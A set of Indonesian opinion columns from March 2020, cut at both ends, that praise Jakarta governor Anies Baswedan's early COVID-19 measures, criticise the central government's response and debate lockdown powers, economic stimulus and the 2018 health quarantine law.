media dan medsos. Anies tahu itu pasti akan terjadi. Masyarakat gak siap stay di rumah untuk bersama-sama menghindarkan diri jadi agen penularan covid-19. Ada otoritas yang nggak siap. Ini soal roda ekonomi. Lalu mengingatkan Anies. Besoknya, Anies normalkan transportasi publik. Anies tak mau benturan dengan otoritas manapun. Kontra-produktif. Langkah berikutnya, Anies minta masjid, wihara, gereja, kelenteng dan tempat-tempat ibadah yang lain untuk sementara tutup. Himbauan penutupan tempat ibadah itu, tentu saja setelah Anies konsultasi dan dengar pendapat dengan perwakilan dari para tokoh agama. Melalui surat edaran, Anies menghimbau masyarakat Jakarta beribadah sementara waktu di rumah masing-masing. Heboh lagi. Tuduhan macam-macam berhamburan. Tempat ibadah ditutup, kenapa Mall nggak ditutup? Bgitu komentar sebagian orang. Anda semua, tanpa terkecuali, bisa beribadah di rumah. Tetapi, apakah masyarakat Jakarta sudah semuanya siap belanja dari rumah? Online? Kalau super market dan mini market ditutup mendadak, sementara persediaan kebutuhan rumah tangga tak ada, apa yang akan terjadi? Penjarahan! Paham? Tidak sampai disitu, 20 Maret kemarin Anies resmi menetapkan Ibu kota dalam keadaan tanggap darurat bencana. Konsekuensinya, Anies menutup semua usaha hiburan dan rekreasi, seperti diskotik, Bar, Spa, karaoke, dan lain-lain. Anies juga menghimbau kepada hotel-hotel untuk membatalkan event-event yang mendatangkan kerumunan orang banyak. Para pengusaha juga diminta untuk merumahkan para pekerja, setidaknya meminimalkan jumlah pekerja dan kegiatannya. Setelah semua langkah preventif ditempuh. Penutupan sejumlah usaha dilakukan, himbauan disampaikan, dan informasi sangat transparan, lalu korban terus bertambah dan makin banyak. Begitu juga yang meninggal, maka siapa yang bertanggung jawab? Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Bravo Anies, What Next Jokowi?

By Dr. Syahganda Nainggolan Jakarta FNN – Jakarta (20/03) Never too late. Tidak ada yang terlalu terlambat. Kita harus mengacungkan jempol pada Anies, karena langkahnya diapresiasi Pemerintah Pusat. Sebagaimana dikatakan Achmad Yurianto, jubir pemerintah urusan Covid-19. Untuk urusan penanganan wabah ini di Jakarta, mereka sudah sepenuhnya menyerahkan pada Anies. Langkah Anies secara sistematis dan terukur, yang mengarah nyaris Lockdown. Terakhir dengan keberhasilan menunda ibadah selama dua minggu, yang didukung oleh tokoh-tokoh agama. Anies juga meminta warga Jakarta tinggal di rumah. Tidak keluar Jakarta selama tiga minggu, sesuai panduan internasional menangani pandemik ini. Sebelumnya langkah-langkah Anies adalah mengumumkan sebaran wilayah penderita covid-19. Anies Membuat Call Center Covid-19, mengalokasi budget APBD untuk itu, serta memperbanyak rumah sakit dan tenaga medis melayani orang berpotensi suspect coronavirus. Anies mengumumkan potensi transportasi KRL Jabotabek sebagai sumber penyebaran. Lalu meliburkan sekolah, menunda ujian akhir sekolah, dan menyiapkan pusat-pusat Karantina di Keluarahan. Gubernur DKI juga mengerahkan BUMD menjual masker yang sebelumnya hilang dipasaran, dan membuat "Serangan Kejutan" mengurangi jumlah operasi busway dan MRT. Model penanganan wabah yang dilakukan Anies Baswedan ini, yang telah diapresiasi Pemerintah Pusat. Ditambah dengan rencana Pemerintah Pusat meningkatkan kapasitas peralatan medis, termasuk alat rapid test, menunjukkan kalau langkah penanganan wabah ini ke depan sudah bisa mempunyai sistem kerja secara nasional. Artinya negara hadir di tengah masyarakat mengahadapi penyebaran Cironavirus. Jika negara sudah hadir, namun masyarakat masih kurang disiplin, maka tingkat berikutnya, seperti yang dilakukan di Francis, yaitu memberlakukan Lockdown. Apa Langkah Berikutnya? Dalam konteks penangan wabah an sich, jika model Jakarta dapat diadopsi menjadi model nasional. Mengingat Jakarta adalah epicentrum pandemic ini, maka bahu-membahu dalam penanganan wabah ini harus dijadikan titik balik bersama. Bahwa kita siap menghadapi wabah ini bersama-sama. Tentu dengan resiko yang besar, mengingat masih adanya unsur elit rezim Jokowi yang belum bersinergi. Ulasan saya selanjutnya bergeser pada dampak ekonomi yang dihadapi masyarakat. Kenapa? Karena dampak yang terjadi juga bersifat langsung dan mengerikan bagi perekonomian masyarakat. Pada hari ini dan kemarin, kita melihat persoalan baru di masyarakat. Komunitas pengemudi online Jawa Barat, Posko Jabar, barusan membriefing saya bahwa penutupan berbagai tempat wisata, hiburan, dan berbagai aktifitas di Bandung dan sekitarnya, telah membuat penghasilan anggota mereka 2.900 orang terhempas. Sebanyak 2.800 orang diperkirakan gagal membayar cicilan kepada leasing bulan depan. Kemarin lalu, Ketua Induk Koperasi Pasar, memberitahu saya bahwa penyediaan stok bahan makanan penting dan sembako, akan terkendala dengan kemampuan Inkoppas menebus pembelian barang. Menurutnya, jika pemerintah berusaha mengendalikan pembelian barang, namun terjadi "deadlock" di sisi supply, maka situasi kacau di pasar-pasar tradisonal akan terjadi. Situasi ekonomi lainnya yang kita sudah lihat melalui media, terbentang berbagai potensi kesulitan antara lain, kenaikan dollar terhadap rupiah sekitar 15-17% dalam waktu mendadak, akan menyulitkan penyediaan bahan baku impor, seperti gandum, bahan farmasi dan tekstil. Akibatnya harga2 pangan, sandang dan obat-obatan akan melambung. Urusan dollar dan hancurnya harga-harga saham membuat kemampuan perusahan-perusahaan juga semakin sulit. Menggunungnya hutang dan menurunnya revenue. Ini pada akhirnya akan membebani kemampuan membayar upah buruh, THR dan kesejahteran lainnya. Kondisi yang lebih buruk lagi adalah akan ada gelombang Pemutusan Hubangan Kerja (PHK) beberapa bulan ke depan. ILO (International Labor Organization) telah memperkirakan 25 juta orang di dunia akan kehilangan pekerjaan akibat dari Coronavirus. Berbagai negara telah menyiapkan uang untuk menghindari kehancuran ekonominya. Stimulus paket ini bahkan sudah dijalankan di beberapa negara. Francis menyediakan stimulus paket ekonomi sebesar U $45 milyar atau setara dengan Rp 720 triliun. Sedang Amerika kemarin, untuk pase dua sekarang, telah disetujui U$ 104 milyar atau setara dengan Rp 1.664 triliun. Uang-uang ini digunakan untuk membayar orang-orang pekerja yang tidak bekerja karena sakit atau lainnya selama musim wabah. Di Hongkong, sejak Februri lalu telah diberikan uang sebesar U$1.200 atau setara dengan Rp 19.200.000 sebagai subsidi bagi semua orang dewasa di sana. Indonesia, sebagai bangsa yang suka terlambat, masih menghitung berapa uang yang bisa dialokasikan untuk dampak ekonomi wabah ini. Bahkan dampak wabah ini dari sisi non ekonomi, seperti anggaran untuk "rapid test", baru ada kemarin, dan Prabowo baru mau terbang ke Sanghai membeli alat itu. Sri Mulyani memperkirakan dapat merelokasi anggaran APBN untuk daerah sebesar Rp 50 Triliun. Jika anggaran ini meliputi juga untuk soal wabah sendiri, maka kemungkinan anggaran paket stimulus ekonomi hanya setengahnya. Saat ini Sri Mulyani baru mengeluarkan Rp 8,5 Triliun sebagai langkah stimulus fase satu. Stimulus fase dua yang sedang berlangsung dilakukan dengan insentif pajak. Dalam diskusi saya per WA tadi dengan anggota Banggar DPR RI Mulyadi, sebaiknya selain pandangan dia untuk membelokkan semua atau sebanyak-banyaknya anggaran infrastruktur ke urusan wabah dan dampaknya. Saya juga mengusulkan saya agar anggaran pilkada Tahun 2020 diambil juga. Pesta pilkada ditunda dulu, maka kita dapat menyediakan uang lebih dari seratus triliun. Seratus triliun itu setara dengan pengeluaran Mesir, yakni sebesar U$ 6,4 milyar. Sesama negara yang tidak terlalu maju ekonominya. Itupun bisa Jika Jokowi ikhlas tidak memikirkan lagi ambisi-ambisi untuk infrastrukturnya. Sisi fiskal ini dengan skala seratusan triliun, bisa membantu langkah-langkah makro ekonomi yang dijalankan Bank Indonesia. Dengan uang itu pemerintah, baik di pusat maupun di daerah sudah dapat meramalkan dampak ekonomi atas setengah lockdown saat ini. Selain itu, perlu memikirkan biaya untuk mempertahankan daya beli masyarakat, subsidi pangan dan keperluan rakyat lainnya. Penutup Anies telah membangun model penanganan wabah Coronavirus yang diapresiasi Pemerintah Pusat. Meski terlambat, tidak ada yang terlalu terlambat. Lalu bagaimana nasib ekonomi kita? Meski tetap terlambat, dalam mengantisipasi dampak ekonomi ke depan, niat Jokowi dari sisi fiskal sudah terlihat. Namun, niat ini harus diproses dalam sensitifitas mendesak. Kita tidak perlu berpikir mendesak untuk Omnibus Law misalnya. Namun lambat dalam menentukan jumlah stimulus fiskal. Kita juga harus mengumumkan moratorium Ibukota baru. Bahkan kemungkinan menunda pilkada 2020. DPR juga harus berperan aktif untuk menghitung. Di Amerika misalnya, sudah masuk pada pengajuan pase ketiga dalam stimulus ini. Baik kubu Demokrat maupun Republik ("seperti Kadrun dan Kodok") bekerjasama secara cepat. Rakyat setelah menuju tenang, isu wabah corona akan masuk pada kegelisahan isu ekonomi. Ini tidak main-main. Hantaman keras pada pengemudi Online yang akan sulit bayar cicilan ke leasing. Hantaman THR dan buruh sebulan lagi di depan mata. Semua adalah pekerjaan besar. Apakah bulan depan pemerintah mampu menganggarkan jaminan kredit bagi ojek Online agar motornya tidak disita leasing? Semoga pemerintah mampu memberi ketenangan ekonomi bagai rakyat kecil. Tentu dengan uang stimulus ekonomi diangka lebih dari seratusan triliun rupiah. Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Butuh Pangkopkamtib Corona

Sekarang ini waktunya semua komponen anak bangsa bersatu padu. Merapatkan barisan, bahu membahu menghadapi corona. Jangan sampai muncul kesan, ada yang mencari dan mencuri panggung. Sebaliknya, juga jangan sampai ada yang merasa dan khawatir panggungnya dicuri. By Hersubeno Arief Jakarta, FNN - Jum'at (20/03). Indonesia memasuki darurat corona. Bukan hanya karena eskalasi korban yang terpapar maupun yang meninggal dunia. Namun juga karena kesemrawutan penanganannya. Komunikasi publik pemerintah sangat buruk. Rakyat bingung. Siapa sebenarnya yang harus didengar dan dipercaya? Siapa omongannya yang bisa dipegang dan perintah siapa yang harus dituruti? Presiden Jokowi sebelumnya menyatakan tak akan melakukan lockdown. Berpikir ke arah itu pun tidak. Mendagri Tito Karnavian bahkan secara khusus menemui Gubernur DKI Anies Baswedan . Tito mengingatkan bahwa kewenangan lockdown ada di pemerintah pusat. Tiba-tiba saja Juru Bicara Pemerintah untuk penanganan virus corona Ahmad Yurianto menyatakan, pemerintah pusat menyerahkan sepenuhnya penanganan virus corna di Jakarta kepada gubernur. Pemerintah tidak akan intervensi. “Lha katanya sudah otonomi daerah. Ya silakan gubernur sebagai penguasa daerah mengatur semua itu,” tegasnya. Apakah kewenangan penuh itu juga termasuk lockdown? Soal ini tidak begitu clear. Publik menangkapnya secara berbeda. Sejauh ini yang ditangkap publik Anies Baswedan cenderung untuk melakukan lockdown. Hal itu tersirat dari berbagai pernyataannya. Termasuk sikapnya yang akan mengambil langkah agresif melawan corona. Sebelumnya dalam Rapat Terbatas dengan tim Gugus Tugas Covid -19, Jokowi meminta agar segera dilakukan test cepat (rapid test) dengan cakupan yang lebih besar untuk deteksi dini kemungkinan warga terpapar virus. Rapid test nampaknya menjadi pilihan Jokowi untuk menghindari opsi lockdown. Namun Kepala Gugus Covid-19 Letjen TNI Doni Monardo mengakui pemerintah belum memiliki alat tersebut. Masih harus didatangkan dari berbagai negara. Belakangan juru bicara Kementrian BUMN menyatakan sebagian peralatan rapid test sudah tiba. Namun rumah sakit rujukan yang ditunjuk harus membelinya. Jauh sebelum Menkes Terawan diminta puasa bicara oleh istana, komunikasi dan pesan yang sampai kepada publik lebih kacau lagi. Ada kesan meremehkan dan menganggap enteng persoalan. Beberapa pekan menghilang dari publik, Terawan kembali bikin heboh. Dia tampil dalam teledrama sembuhnya pasien 1,2 dan 3. Terawan membawa bingkisan oleh-oleh berupa jamu dari Jokowi. Teledrama itu dikecam publik dalam dan luar negeri. Simpang siur informasi dan komunikasi publik yang acak-kadut semacam itu harus segera diakhiri. Publik harus mendapat kepastian. Siapa sebenarnya yang sekarang ini menjadi pemimpin? Siapa yang paling bertanggungjawab sepenuhnya atas perang terhadap corona. Sekarang ini waktunya semua komponen anak bangsa bersatu padu. Merapatkan barisan, bahu membahu menghadapi corona. Jangan sampai muncul kesan, ada yang mencari dan mencuri panggung. Sebaliknya, juga jangan sampai ada yang merasa dan khawatir panggungnya dicuri. Para buzzer pemeritah harus ditertibkan. Tidak perlu lagi mengadu domba Anies Baswedan dengan Jokowi. Tak perlu lagi mencari-cari kesalahan Anies karena khawatir bakal menyerobot panggungnya Jokowi. Pendukung Anies juga tak perlu terlalu membangga-banggakan kinerjanya. Biarkan dia bekerja. Sebab tanggungjawabnya sangat berat. Jakarta adalah episentrum corona. Keberhasilan mengatasi corona di Jakarta, sama dengan menyelesaikan sebagian besar masalah Indonesia. "Pangkopkamtib" Corona Belajar dari pengalaman Orde Baru ketika mengalami situasi darurat, perlu sebuah lembaga dengan kewenangan yang kuat. Lembaga itu juga harus dipimpin oleh figur yang kuat. Presiden Soeharto ketika itu membentuk dan menunjuk seorang Panglima Komando Operasi Pemulihan Keamanan dan Ketertiban (Pangkopkamtib). Seorang Pangkopkamtib punya kewenangan penuh mengendalikan situasi dan mengambil langkah-langkah yang dianggap perlu secara cepat tanpa hambatan birokrasi. Yang harus benar-benar diperhatikan dan dijaga, dia tidak boleh dan jangan sampai menyalahgunakan kekuasaan seperti masa Orba dulu. Harus diawasi secara ketat jangan sampai terjadi pelanggaran hukum dan pelanggaran HAM. Celah sekecil apapun adanya pelanggaran hukum dan HAM harus ditutup. Saat ini Jokowi sudah menunjuk Kepala BNPB Letjen Doni Monardo sebagai Kepala Gugus Tugas Covid-19. Melihat situasinya sudah darurat, alangkah baiknya tugas dan kewenangannya itu diperluas. Menjadi semacam "Pangkopkamtib" penanganan virus Corona. Tugasnya selain menjadi kepala gugus tugas penanganan virus corona, Doni juga bisa menjalankan peran koordinasi menjaga ketertiban dan keamanan, manakala opsi lockdown diberlakukan. Jokowi tinggal terima bersih saja. Latar belakang militernya memungkinkan dia bisa dengan mudah berkoordinasi dengan TNI maupun Polri. Dia sangat paham kebutuhan dan pengerahan pasukan. Sejauh ini kinerja Doni cukup bagus. Dia bisa sangat baik bekerjasama dengan Anies Baswedan. Doni juga tak banyak bicara dan mengundang kegaduhan. Ketika bertemu Anies dia menyerukan semua kalangan untuk mengakhiri perdebatan yang tak ada ujungnya. “Kita tidak perlu kita buang-buang energi lagi. Kita kerjakan yang prioritas. Yang bisa kita kerjakan,” tegasnya. End Penulis adalah Wartawan Senior.

Betul Juga, Kita Hanya Bisa Berdoa Hadapi Corona

By Asyari Usman Jakarta, FNN - Jum'at (20/03). Semoga tidak terjadi. Tak terbayangkan kalau Indonesia akhirnya diamuk virus Corona (Covid-19) dengan ribuan kasus. Kira-kira siap apa tidak sistem pelayanan darurat negara ini? Wallahu a’lam. Gubernur DKI Anies Baswedan kemarin (19/3/2020) mengatakan bahwa Jakarta sekarang menjadi episentrum penyebaran Corona. Innalillahi wa inna ilaihi raji’un! Jakarta menjadi pusat reproduksi dan distribusi virus ganas itu. Tidak ada yang tahu berapa banyak orang yang selama seminggu ini keluar-masuk Jakarta. Dari berbagai daerah. Mereka ini boleh jadi telah menjadi ‘transmitter’ (pengantar) Corona ke tempat-tempat lain. Baik itu yang berbatasan langsung dengan Jakarta maupun daerah-daerah yang lebih jauh. Situasinya akan sangat seram. Mengerikan. Jika itu sempat terjadi. Jika jumlah penyandang virus ganas ini mencapai angka seribuan, belasan ribu, puluhan ribu, dan seterusnya. Bayangan suram ini bukan soal kualitas tenaga medis kita. Bukan. Dari sisi kapabilitas dan kapasitas individual para dokter, perawat, paramedis Indonesia sama sekali tidak disangsikan. Mereka, insyaAllah, sama hebatnya dengan orang-orang di negara maju. Yang sangat meragukan adalah kesiapan fasilitas kesehatan dan manajemen darurat. Di acara ILC 17/3/2020, terungkap bahwa fasilitas dan peralatan medis untuk menangani darurat Corona masih jauh dari kuantitas dan kualitas yang diperlukan untuk menangani pasien dalam jumlah besar, pada saat bersamaan. Dr dr Erlina Burhan, seorang pakar paru-paru yang bekerja di RS Persahabatan, Jakarta, mengatakan di RS ini hanya ada 11 ruang isolasi. Banyak pasien Corona yang menunggu antrian isolasi. Terkuak pula bahwa salah satu dari seratusan RS rujukan Corona di Indonesia, yaitu sebuah RS di Padangsidempuan, Sumut, sama sekali tidak punya ruang isolasi. Kalau ini adalah gambaran tentang RS-RS di pelosok negeri, tentu sangat memperihatinkan. Jika jumlah positif Corona melonjak drastis, maka sistem pelayanan kesehatan bisa jadi akan ‘overwhelmed’. Megap-megap. Penuh-sesak. Banyak yang memperkirakan akan ada penambahan signifikan jumlah positif Corona. Dr Erlina berkali-kali menekankan perlunya tindakan segera untuk menahan laju pertambahan pasien positif Corona. Mengingat jumlah ruang isolasi yang tidak mencukupi. Salah satu cara memperlambat penyebaran Corona adalah tindakan pembatasan ‘population movement’ (pergerakan orang). Tetapi, anehnya, ketika ada pemerintah daerah yang memberlakukan ini, banyak orang yang tidak paham. Dan kemudian marah-marah. Pemerintah pusat sendiri tampak enggan mengambil langkah pengekangan pergerakan penduduk (movement restriction). Istilah “lockdown” saja diperdebatkan panjang-lebar. Dibawa berputar-putar. Dikatakan istilah itu tidak ada di dalam UU-lah, dsb. Mereka katakan, yang ada adalah ‘karantina wilayah’. Bukan ‘lockdown’. Perdebatan yang absurd. Yang tidak diperlukan hari ini. Yang sangat dibutuhkan adalah mempersempit ruang gerak virus Corona. Yang diperlukan adalah tindakan agresif memburu virus itu. Dengan cara memperbanyak testing Corona. Khususnya melakukan testing masif di titik-titik penularan. Kemudian memperbanyak ruang isolasi di RS-RS. Pemerintah Indonesia sebetulnya ‘beruntung’. Dalam arti, ada waktu yang cukup untuk belajar dari krisis Corona di China, Korea Selatan, Iran, Italia plus Eropa secara keseluruhan. Tetapi, kita malah sibuk mencurigai Anies Baswedan. Dia dicaci-maki dengan sangkaan mau cari panggung. Mau cari ‘political gain’ dari krisis ini. Sangkaan yang berlebihan. Kesimpulan akal keruh. Miris melihat kelakuan para pejabat tinggi Indonesia hari ini, plus gerbong buzzer mereka. Di antara mereka itu, banyak yang mencoba meremehkan amukan Corona. Menkes Terawan Agus Putranto sendiri sempat busung dada. Dia katakan Difteria saja tidak masalah, apalagi Corona. Kemudian, banyak petinggi yang ‘asbun’ soal obat penangkal virus itu. Macam-macam! Kalau begini, betul juga bahwa kita hanya bisa berdoa menghadapi Corona. Seperti dianjurkan oleh Menkes. Gamang dan ngilu rasanya melihat langkah-langkah pemerintah pusat. Belum lagi soal tranparansi tentang informasi penyebaran. Dan juga manajemen daruratnya.[] Penulis adalah Wartawan Senior.

Negara Dalam Keadaan Darurat

By Dr. Ahmad Yani SH. MH. Jakarta, FNN – Indonesia menjadi negara yang sombong terhadap penyebaran virus Corona. Saat negara-negara lain mulai panik, petinggi negeri ini justru berkomentar seperti orang yang lagi berkomedi. Mulai minum jamu, deterjen membunuh Corona. Indonesia negeri tropis, tidak bisa di masuki Corona dengan berbagai alasan. Semuan itu bentuk keangkuhan yang membawa malapetaka. Kelambatan tersebut terutama karena ‘sungkan’ takut menyinggung Tiongkok. Pejabat-pejabat Indonesia menolak menerima kenyataan bahwa Corona sudah semakin menghawatirkan. Meski Pemerintah Pusat sangat lambat dan acuh-tak acuh, Pemerintah Provinsi DKI Jakarta dengan cepat dan tanggap menghadapi virus tersebut. Anies Baswedan sangat cepat merespons kasus Corona setelah warga negara Indonesia yang tinggal di Depok terpapar. Walaupun akhirnya Anies diserang dan dibully. Bahkan ada menteri yg ikut-ikutan juga untuk membully Anies. Pemerintah Pusat sibuk mengatasi “hoax”. Bukan mengatasi penyebaran virus. Sampai orang yang merekam kedatangan Warga Cina di Sulawesi Tenggara diperiksa polisi dengan tuduhan hoax. Padahal WNA Cina itu benar-benar datang dari Cina. Ini berbeda dengan Presiden Duterte yang memecat pegawai yang membiarkan orang cina masuk ke wilayah Filipina. Demikianlah cara Pemerintah Pusat menghadapi Corona, yaitu menghadapi orang yang menyebarkan berita virus tersebut. Seakan-akan dengan cara itulah pemerintah bisa mengatasinya. Padahal virus corona sudah ada di tengah kita. Corona bergerak cepat dalam masyarakat. Tetapi ternyata pemberantasan “hoax” justru mempercepat laju penyebaran Corona virus. Sudah 227 orang terkena virus, 19 orang meninggal. Menurut beberapa sumber, yang riil, tetapi tidak terpublikasi sudah mencapai 4.000 orang lebih yang terpapar. Virus sudah menghinggap di banyak orang, kepanikan kian memuncak. Sampai saat ini kita sebagai rakyat tidak mendapatkan informasi yg cukup. Tentang keganasan Corana. Propinsi dan kabupaten mana yang banyak penyebarannya? Rumah sakit mana yang sudah ditunjuk untuk memeriksa, mengobati, mengisolasi, merawat yang sudah positif tertular Corona? Sementara kewaspadaan pemerintah hanya untuk dirinya sendiri, yaitu bagaimana melindungi diri dari protes masyarakat. Pemerintah sibuk memberantas hoax untuk menjaga kelangsungan kekuasaannya, tetapi tidak peduli terhadap keselamatan warga negaranya. Kepanikan Global Kepanikan muncul di mana-mana. Negara-negara mulai mengantisipasi dengan melakukan lockdown secara teritorial. Arab Saudi menutup perjalanan umrah. Malaysia, 31 Maret memutuskan lockdown guna menghentikan penyebaran Corona. Manila dilockdown dan diumumkan langsung oleh Presiden Duterte. Bersamaan itu Duterte melarang masyarakat berkumpul. menutup semua sekolah. Prancis mengumumkan lockdown 15 hari. Italia juga melakukan lowdown di beberapa wilayah. Beberapa negara lain sudah mulai pula melakukan lockdown. Banyak negara menghadapi kepanikan global yang luar biasa. Aksi lockdown di berbagai negara tidak diikuti oleh Indonesia. Masih sempat Indonesia menerima pariwisata asing, khususnya Cina.Ada 47 warga Cina masuk di Konawe. Tampaknya Pemerintah Indonesia lebih takut kehilangan investasi daripada keselamatan 270 juta warga negaranya. Pemerintah hanya peduli pada kehendaknya sendiri. Sementara rakyat harus mendapatkan risiko besar dari penyebaran virus corona ini. Setelah virus itu tersebar, kita bisa pasrah. Persediaan alat medis dan berbagai fasilitas kesehatan yang masih terbatas. Kita hanya menunggu waktu kalau pemerintah masih bersikap menutup-nutupi gejala ini demi untuk kepentingannya. Ini masalah serius dan berbahaya. Darurat Kesehatan Indonesia hari ini sudah mulai darurat Kesehatan Nasional. Kasus yang terus meningkat. Penyebaran yang sangat cepat, membuat kepanikan rakyat yang luar biasa. Aksi lockdown terjadi di berbagai daerah. Pemerintah Daerah mengambil langkah cepat, meski Pemerintah Pusat masih sibuk mengurus hoax. Kondisi ini mengkhawatirkan. Perang melawan Corona sudah dimulai. Semua orang di daerah kini mengunci dan mengisolasi diri dari penyebaran Corona. Kampus, pondok pesantren, sekolah, kantor dan seluruh aktivitas publik dihentikan. Masyarakat memutus hubungan sosialnya untuk sementara dengan keluarga, tetangga, kerabat, teman, sahabat, dan orang dekatnya. Ditengah kepanikan rakyat Indonesia, warga negara Cina yang menjadi sumber Pendemi Corona justru diberi keleluasaan masuk di Indonesia. Padahal dalam kondisi pendemi yang sangat cepat ini pemerintah harus mencegah masuknya Warga Negara Asing seperti yang dilakukan oleh negara-negara lain. Negara wajib melindungi segenap bangsa Indonesia dan seluruh Tumpah darah Indonesia. Masyarakat berhak mendapatkan kesejahteraan lahir dan batin Dalam Undangundang nomor 6 Tahun 2018 tentang Karantina Kesehatan, bahwa kemajuan teknologi transportasi dan era perdagangan bebas dapat berisiko menimbulkan gangguan kesehatan. Penyakit baru atau penyakit lama yang muncul kembali dengan penyebaran yang lebih cepat, dan berpotensi menimbulkan kedaruratan kesehatan masyarakat, sehingga menuntut adanya upaya cegah tangkal penyakit dan faktor risiko kesehatan yang komprehensif dan terkoordinasi, serta membutuhkan sumber daya, peran serta masyarakat, dan kerja sama internasional. Karantina Kesehatan merupakan upaya mencegah keluar atau masuknya penyakit yang menyebabkan kedaruratan kesehatan Masyarakat. UU No. 6 ini telah memberikan definisi yang jelas tentang darurat Nasional. Tugas negara sebagaimana yang disebutkan dalam UUD 1945 “melindungi segenap warga Indonesia dan tumpah darah Indonesia”. Pemerintah wajib menjamin keselamatan warga negara. Karantina kesehatan adalah jalan yang paling mungkin untuk dilakukan dengan tegas, mengingat kondisi penyebaran pendemi Corona semakin ganas. Upaya-upaya yang ada sekarang ini masih sangat jauh dari yang sudah dilakukan oleh negara-negara lain. Bersyukur kita, Pemerintah Daerah cepat melakukan lockdown untuk mengantisipasi penyebaran Corona, meski Pemerintah Pusat melarang untuk melakukan lockdown itu secara sepihak. Penanganan pendemi yang penyebarannya begitu cepat tidak bisa menunggu sikap lambat Pemerintah Pusat. Krisis Nasional Pendemi Corona akan berefek pada beberapa hal. Pertama, krisis ekonomi yang memang sudah mulai terlihat di awal tahun 2020. Sekarang sudah semakin nampak. Nilai tukar rupiah yang semakin anjlok dan kondisi ekonomi semakin lesu. Ancaman resesi terus menghantui Indonesia. Krisis ini akan merambat pada krisis politik dan krisis sosial yang mulai terlihat. Seperti kata Rizal Ramli, ekonomi Indonesia terus anjlok karena salah kelola. Bukan hanya karena Corona. Tetapi akibat mabuk utang dan pengetatan makro. Ekonomi hanya tumbuh 4% tahun 2020. Kalau tindakan terhadap corona effektif, ekonomi hanya akan anjlok lagi -1%. Tapi jika tidak effektif, ekonomi akan anjlok -2% lagi. Kondisi ini memperkuat hitungan Syahganda Nainggolan bahwa, selesai Corona bisa-bisa rezim ini jatuh. Bahkan Syahganda menghitung hari kapan kejatuhan rezim ini, disebabkan pengelolaan yang amatiran. Pengelolaan yang amatiran inilah termasuk yang membawa virus ini berkembang cepat di Indonesia. Sebagai warga negara, kita wajib menjaga kesehatan dengan memperbanyak ibadah dan doa, serta menghindari keramaian. Sembari melihat perkembangan ekonomi yang kian anjlok dan aksi lockdown yang sudah mulai diterapkan pemerintah daerah. Rasanya beban untuk menghadapi Corona ini sangat dirasakan rakyat kecil yang menggantung nasibnya pada penjual-penjual keliling dan lain-lain. Bisa juga kondisi ini membawa pada krisi bahan makanan pokok. Negara wajib memikirkan terjaminnya penyediaan kebutuhan dan kelangsungan hidup masyarakat. Mungkin krisis keuangan bagi rakyat kecil sudah mulai terasa dengan adanya Corona ini. Pemerintah wajib memikirkan bagaimana krisis keuangan itu bisa diatasi untuk menghindari wabah kelaparan di tengah masyarakat kecil. Kita berharap dan berdoa semoga wabah ini cepat berlalu. Rakyat Indonesia selamat dari wabah ini, sehingga kita semua dapat hidup seperti biasanya di kemudian hari. Insaa Allah kita bisa melewati ini dengan menerapkan pola yang dianjurkan berbagai pihak dalam menangkal penyebaran Corona ini. Wallahualam bis shawab. Penulis adalah Politisi, Praktisi Hukum, Dosen Fakultas Hukum dan Fisip UMJ.

Corona Menakutkan, Kapan Presiden Deklarasi Darurat Kesehatan?

By Dr. Margarito Kamis Jakarta FNN – Jumat (19/03). Tidak ada alasan sekecil apapun yang bisa dipakai menyatakan Presiden tidak bekerja menangani Corona Virus Disease 2019 (Covid 19). Dalam kenyataan terbaru, Presiden telah menerbitkan Kepres Percepatan Penanganan Virus Corona. Melalui Kepres ini Presiden telah membentuk Gugus Tugas Percepatan Penanganan Virus Corona. Itu langkah bagus. Tetapi apakah cukup dan tepat jika dilihat dari sudut hukum? Terlalu sulit mengatakan cukup dan tepat secara hukum? Mengapa? UU No. 6 Tahun 2028 Tentang Kekarantinaan Kesehatan mengatur “Pemerintah Pusat dan Pemerintah Daerah bertanggung jawab mengurus kesehatan masyarakat”. UU ini, bila mau diperiksa secara cermat, ditemukan kenyataan bahwa kewenangan pemerintah daerah menangani virus baru muncul manakala dilibatkan oleh Pemerintah Pusat. Sayangnya, sejauh ini belum terlihat tindakan pelibatan yang diprakarsai pemerintah. Disitu masalahnya. Apakah dengan demikian Pemda-Pemda harus berdiam diri? Membiarkan warganya mengurus sendiri kesehatan mereka di tengah wabah virus? Jelas tidak. Gubernur Baswedan, Gubernur Emil, Gubernur Ganjar dan Gubernur Khofifah, tentu tidak bisa berdiam diri. Para Gubernur ini harus mengambil tindakan pemerintahan sebisa mungkin untuk menjamin warganya bahwa “mereka ada dan bekerja”. Menariknya, Gubenur Baswedan terlihat berada di fornt terdepan. Sangat progresif dan responsif dalam menangani dan menghadapi virus berbahaya ini. Anies, Gubernur DKI yang bercitarasa Indonesia ini mendemonstrasikan tindakan pemerintahan sedemikian cemerlangnya. Anies menutup tempat-tempat wisata milik Pemda DKI. Tidak sampai disitu saja, Anies juga meliburkan sekolah, dan membebaskan ganjil-genap kendaraan roda empat. Berhenti disitu? Tidak juga. Gubernur ini bergerak cepat menyiapkan rumah-rumah sakit untuk menangani pasien corona. Imbauan demi imbauan dikeluarkan. Mulai dari imbauan untuk sholat di rumah, mengurangi interaksi di luar rumah, tidak bepergian ke tempat-tempat umum, dan belakangan membatasi jam operasional Bus Trans Jakarta. Semuanya menumpuk menandai tindakan-tindakan hebatnya sebagai Kepala Pemerintahan DKI. Apakah Gubernur ini akan melangkah lebih jauh? Lebih progresif yang setara dengan intensitas warganya terinfeksi virus ini sehingga melakukan lockdown, pembatasan berskala besar di wilayah DKI? Saya tidak berani berspekulasi. Mengapa? Ini soal kewenangan. Dan siapapun yang mempelajari UU No. 6 Tahun 2018 tahu, ini kewenangan Pemerintah Pusat. Bukan Pemerinah Daerah. Pasal 10 UU No. 6 Tahun 2018 Tentang Kekerantinaan Kesehatan jelas mengatur Pemerintah Pusat menetapkan dan mencabut kedaruratan Kesehatan Masyarakat. Mengapa pasal ini harus dirujuk? Penetapan Kedaruratan Kesehatan menjadi prasyarat. Salah satunya, pemerintah melakukan “Pembatasan Bersakala Besar” atau Lockdown. Tetapi justru disitulah letak masalah sebenarnya. Mengapa baru sekarang bicara kewenangan Pemerintah Pusat? Sejauh apakah kewenangan Pemerintah Pusat itu? Sebatas menentukan “pembatasan berskala besar”? UU No. 6 Tahun 2018 yang disebut di atas, jelas mengatur sejumlah wewenang Pemerintah Pusat. Pasal 5 ayat (1) UU ini mengatur Pemerintah Pusat bertanggung jawab menyelenggarakan kekarantinaan kesehatan di pintu masuk dan di wilayah secara terpadu. Ayat 